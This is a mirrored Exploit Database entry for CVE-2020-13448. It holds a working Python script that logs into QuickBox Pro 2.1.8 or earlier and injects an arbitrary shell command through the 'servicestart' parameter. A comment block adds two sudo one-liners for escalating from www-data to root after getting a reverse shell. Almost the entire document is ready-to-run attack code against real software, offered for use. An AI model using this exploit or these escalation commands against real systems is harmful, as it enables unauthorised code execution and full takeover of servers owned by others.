QuickBox Pro 2.1.8 – Authenticated Remote Code Execution

• Exploit Database
• 19 阅读

• 作者： s1gh
  日期： 2020-06-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48536/

• # Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
  # Date: 2020-05-26
  # Exploit Author: s1gh
  # Vendor Homepage: https://quickbox.io/
  # Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/
  # Version: <= 2.1.8
  # Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.
  # Tested on: Debian 9
  # CVE: CVE-2020-13448
  # References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE
  
  '''
  Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.
  1. sudo mysql -e '\! /bin/sh'
  2. sudo mount -o bind /bin/sh /bin/mount;sudo mount
  
  '''
  
  #!/usr/bin/env python3
  # -*- coding: utf-8 -*-
  
  import requests
  import argparse
  import sys
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  from urllib.parse import quote_plus
  
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  
  def exploit(args):
  s = requests.Session()
  print('[*] Sending our payload...')
  
  s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)
  try:
  s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)
  except requests.exceptions.ReadTimeout:
  pass
  
  def main():
  parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro <= v2.1.8")
  parser.add_argument('-i',dest='ip',required=True,help="Target IP Address")
  parser.add_argument('-u',dest='username',required=True,help="Username")
  parser.add_argument('-p',dest='password',required=True,help="Password")
  parser.add_argument('-c',dest='cmd', required=True, help="Command to execute")
  args = parser.parse_args()
  
  exploit(args)
  
  
  if __name__ == '__main__':
  main()
  sys.exit(0)